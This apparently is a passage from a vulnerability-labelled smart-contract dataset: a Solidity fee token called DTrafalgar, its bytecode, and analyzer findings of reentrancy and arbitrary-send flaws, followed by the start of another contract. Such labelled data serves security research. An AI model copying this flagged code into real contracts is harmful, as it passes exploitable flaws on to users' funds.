require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed oldie, address indexed newbie);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DTrafalgar is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _rateLimit=TOTAL_SUPPLY;
uint256 private _tax=INITIAL_TAX;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router= IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_taxWallet=payable(_msgSender());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function tax() public view returns (uint256){
return _tax;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
_swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function _sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
_sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTransferAmounts(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getReceiveAmounts(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTransferAmounts(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(2).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getReceiveAmounts(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102df578063c9567bf91461031c578063dd62ed3e14610333578063f429389014610370576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b411461028957806399c8d556146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610387565b60405161011a9190612181565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611d71565b6103c4565b6040516101579190612166565b60405180910390f35b34801561016c57600080fd5b506101756103e2565b60405161018291906122e3565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611d1e565b6103ec565b6040516101bf9190612166565b60405180910390f35b3480156101d457600080fd5b506101dd6104c5565b6040516101ea9190612358565b60405180910390f35b3480156101ff57600080fd5b506102086104ca565b005b34801561021657600080fd5b50610231600480360381019061022c9190611c84565b610544565b60405161023e91906122e3565b60405180910390f35b34801561025357600080fd5b5061025c610595565b005b34801561026a57600080fd5b506102736106e8565b6040516102809190612098565b60405180910390f35b34801561029557600080fd5b5061029e610711565b6040516102ab9190612181565b60405180910390f35b3480156102c057600080fd5b506102c961074e565b6040516102d691906122e3565b60405180910390f35b3480156102eb57600080fd5b5061030660048036038101906103019190611d71565b610758565b6040516103139190612166565b60405180910390f35b34801561032857600080fd5b50610331610776565b005b34801561033f57600080fd5b5061035a60048036038101906103559190611cde565b610c8a565b60405161036791906122e3565b60405180910390f35b34801561037c57600080fd5b50610385610d11565b005b60606040518060400160405280600a81526020017f4454726166616c67617200000000000000000000000000000000000000000000815250905090565b60006103d86103d1610d83565b8484610d8b565b6001905092915050565b6000600354905090565b60006103f9848484610f56565b6104ba84610405610d83565b6104b58560405180606001604052806028815260200161293360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046b610d83565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b89092919063ffffffff16565b610d8b565b600190509392505050565b600090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661050b610d83565b73ffffffffffffffffffffffffffffffffffffffff161461052b57600080fd5b600061053630610544565b90506105418161121c565b50565b600061058e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a4565b9050919050565b61059d610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062190612263565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4454524146414c47415200000000000000000000000000000000000000000000815250905090565b6000600754905090565b600061076c610765610d83565b8484610f56565b6001905092915050565b61077e610d83565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080290612263565b60405180910390fd5b600a60149054906101000a900460ff161561085b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085290612203565b60405180910390fd5b61088a30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092a9190611cb1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ae57600080fd5b505afa1580156109c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e69190611cb1565b6040518363ffffffff1660e01b8152600401610a039291906120b3565b602060405180830381600087803b158015610a1d57600080fd5b505af1158015610a31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a559190611cb1565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ade30610544565b600080610ae96106e8565b426040518863ffffffff1660e01b8152600401610b0b96959493929190612105565b6060604051808303818588803b158015610b2457600080fd5b505af1158015610b38573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b5d9190611dde565b5050506001600a60166101000a81548160ff0219169083151502179055506001600a60146101000a81548160ff021916908315150217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c359291906120dc565b602060405180830381600087803b158015610c4f57600080fd5b505af1158015610c63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c879190611db1565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d52610d83565b73ffffffffffffffffffffffffffffffffffffffff1614610d7257600080fd5b6000479050610d8081611512565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df2906122c3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e62906121e3565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f4991906122e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd906122a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611036576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102d906121a3565b60405180910390fd5b60008111611079576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107090612283565b60405180910390fd5b6110816106e8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110ef57506110bf6106e8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111a857600a60159054906101000a900460ff1615801561115f5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111775750600a60169054906101000a900460ff165b156111a75761118d61118830610544565b61121c565b600047905060008111156111a5576111a447611512565b5b505b5b6111b383838361157e565b505050565b6000838311158290611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f79190612181565b60405180910390fd5b506000838561120f91906124a9565b9050809150509392505050565b6001600a60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561125457611253612604565b5b6040519080825280602002602001820160405280156112825781602001602082028036833780820191505090505b509050308160008151811061129a576112996125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561133c57600080fd5b505afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190611cb1565b81600181518110611388576113876125d5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ef30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d8b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114539594939291906122fe565b600060405180830381600087803b15801561146d57600080fd5b505af1158015611481573d6000803e3d6000fd5b50505050506000600a60156101000a81548160ff02191690831515021790555050565b60006004548211156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e2906121c3565b60405180910390fd5b60006114f561158e565b905061150a81846115b990919063ffffffff16565b915050919050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561157a573d6000803e3d6000fd5b5050565b611589838383611603565b505050565b600080600061159b6117ce565b915091506115b281836115b990919063ffffffff16565b9250505090565b60006115fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061181b565b905092915050565b6000806000806000806116158761187e565b95509550955095509550955061167386600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118e390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061170885600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117548161198b565b61175e8483611a48565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bb91906122e3565b60405180910390a3505050505050505050565b60008060006004549050600060035490506117f66003546004546115b990919063ffffffff16565b82101561180e57600454600354935093505050611817565b81819350935050505b9091565b60008083118290611862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118599190612181565b60405180910390fd5b5060008385611871919061241e565b9050809150509392505050565b60008060008060008060008060006118988a600754611a82565b92509250925060006118a861158e565b905060008060006118bb8e878787611b17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061192583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b8565b905092915050565b600080828461193c91906123c8565b905083811015611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612223565b60405180910390fd5b8091505092915050565b600061199561158e565b905060006119ac8284611ba090919063ffffffff16565b9050611a0081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192d90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611a5d826004546118e390919063ffffffff16565b600481905550611a788160055461192d90919063ffffffff16565b6005819055505050565b600080600080611aaf6064611aa1600289611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611ad96064611acb888a611ba090919063ffffffff16565b6115b990919063ffffffff16565b90506000611b0282611af4858b6118e390919063ffffffff16565b6118e390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611b308589611ba090919063ffffffff16565b90506000611b478689611ba090919063ffffffff16565b90506000611b5e8789611ba090919063ffffffff16565b90506000611b8782611b7985876118e390919063ffffffff16565b6118e390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611bb35760009050611c15565b60008284611bc1919061244f565b9050828482611bd0919061241e565b14611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0790612243565b60405180910390fd5b809150505b92915050565b600081359050611c2a816128ed565b92915050565b600081519050611c3f816128ed565b92915050565b600081519050611c5481612904565b92915050565b600081359050611c698161291b565b92915050565b600081519050611c7e8161291b565b92915050565b600060208284031215611c9a57611c99612633565b5b6000611ca884828501611c1b565b91505092915050565b600060208284031215611cc757611cc6612633565b5b6000611cd584828501611c30565b91505092915050565b60008060408385031215611cf557611cf4612633565b5b6000611d0385828601611c1b565b9250506020611d1485828601611c1b565b9150509250929050565b600080600060608486031215611d3757611d36612633565b5b6000611d4586828701611c1b565b9350506020611d5686828701611c1b565b9250506040611d6786828701611c5a565b9150509250925092565b60008060408385031215611d8857611d87612633565b5b6000611d9685828601611c1b565b9250506020611da785828601611c5a565b9150509250929050565b600060208284031215611dc757611dc6612633565b5b6000611dd584828501611c45565b91505092915050565b600080600060608486031215611df757611df6612633565b5b6000611e0586828701611c6f565b9350506020611e1686828701611c6f565b9250506040611e2786828701611c6f565b9150509250925092565b6000611e3d8383611e49565b60208301905092915050565b611e52816124dd565b82525050565b611e61816124dd565b82525050565b6000611e7282612383565b611e7c81856123a6565b9350611e8783612373565b8060005b83811015611eb8578151611e9f8882611e31565b9750611eaa83612399565b925050600181019050611e8b565b5085935050505092915050565b611ece816124ef565b82525050565b611edd81612532565b82525050565b6000611eee8261238e565b611ef881856123b7565b9350611f08818560208601612544565b611f1181612638565b840191505092915050565b6000611f296023836123b7565b9150611f3482612649565b604082019050919050565b6000611f4c602a836123b7565b9150611f5782612698565b604082019050919050565b6000611f6f6022836123b7565b9150611f7a826126e7565b604082019050919050565b6000611f926017836123b7565b9150611f9d82612736565b602082019050919050565b6000611fb5601b836123b7565b9150611fc08261275f565b602082019050919050565b6000611fd86021836123b7565b9150611fe382612788565b604082019050919050565b6000611ffb6020836123b7565b9150612006826127d7565b602082019050919050565b600061201e6029836123b7565b915061202982612800565b604082019050919050565b60006120416025836123b7565b915061204c8261284f565b604082019050919050565b60006120646024836123b7565b915061206f8261289e565b604082019050919050565b6120838161251b565b82525050565b61209281612525565b82525050565b60006020820190506120ad6000830184611e58565b92915050565b60006040820190506120c86000830185611e58565b6120d56020830184611e58565b9392505050565b60006040820190506120f16000830185611e58565b6120fe602083018461207a565b9392505050565b600060c08201905061211a6000830189611e58565b612127602083018861207a565b6121346040830187611ed4565b6121416060830186611ed4565b61214e6080830185611e58565b61215b60a083018461207a565b979650505050505050565b600060208201905061217b6000830184611ec5565b92915050565b6000602082019050818103600083015261219b8184611ee3565b905092915050565b600060208201905081810360008301526121bc81611f1c565b9050919050565b600060208201905081810360008301526121dc81611f3f565b9050919050565b600060208201905081810360008301526121fc81611f62565b9050919050565b6000602082019050818103600083015261221c81611f85565b9050919050565b6000602082019050818103600083015261223c81611fa8565b9050919050565b6000602082019050818103600083015261225c81611fcb565b9050919050565b6000602082019050818103600083015261227c81611fee565b9050919050565b6000602082019050818103600083015261229c81612011565b9050919050565b600060208201905081810360008301526122bc81612034565b9050919050565b600060208201905081810360008301526122dc81612057565b9050919050565b60006020820190506122f8600083018461207a565b92915050565b600060a082019050612313600083018861207a565b6123206020830187611ed4565b81810360408301526123328186611e67565b90506123416060830185611e58565b61234e608083018461207a565b9695505050505050565b600060208201905061236d6000830184612089565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123d38261251b565b91506123de8361251b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241357612412612577565b5b828201905092915050565b60006124298261251b565b91506124348361251b565b925082612444576124436125a6565b5b828204905092915050565b600061245a8261251b565b91506124658361251b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561249e5761249d612577565b5b828202905092915050565b60006124b48261251b565b91506124bf8361251b565b9250828210156124d2576124d1612577565b5b828203905092915050565b60006124e8826124fb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061253d8261251b565b9050919050565b60005b83811015612562578082015181840152602081019050612547565b83811115612571576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128f6816124dd565b811461290157600080fd5b50565b61290d816124ef565b811461291857600080fd5b50565b6129248161251b565b811461292f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220415e9dc24b6de5c44b9ace81b95fc676af41b812ae23e6e49171377e6c02e5c864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,184 |
0xa0bb5937ff5ddf1fbdc3154e4b0647bf4717e155
|
// SPDX-License-Identifier: MIT
/* | | | |
** __ _ _ __ __| |_ __ ___ _ __ ___ ___ __| | __ _
** / _` | '_ \ / _` | '__/ _ \| '_ ` _ \ / _ \/ _` |/ _` |
** | (_| | | | | (_| | | | (_) | | | | | | __/ (_| | (_| |
** \__,_|_| |_|\__,_|_| \___/|_| |_| |_|\___|\__,_|\__,_|
*/
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
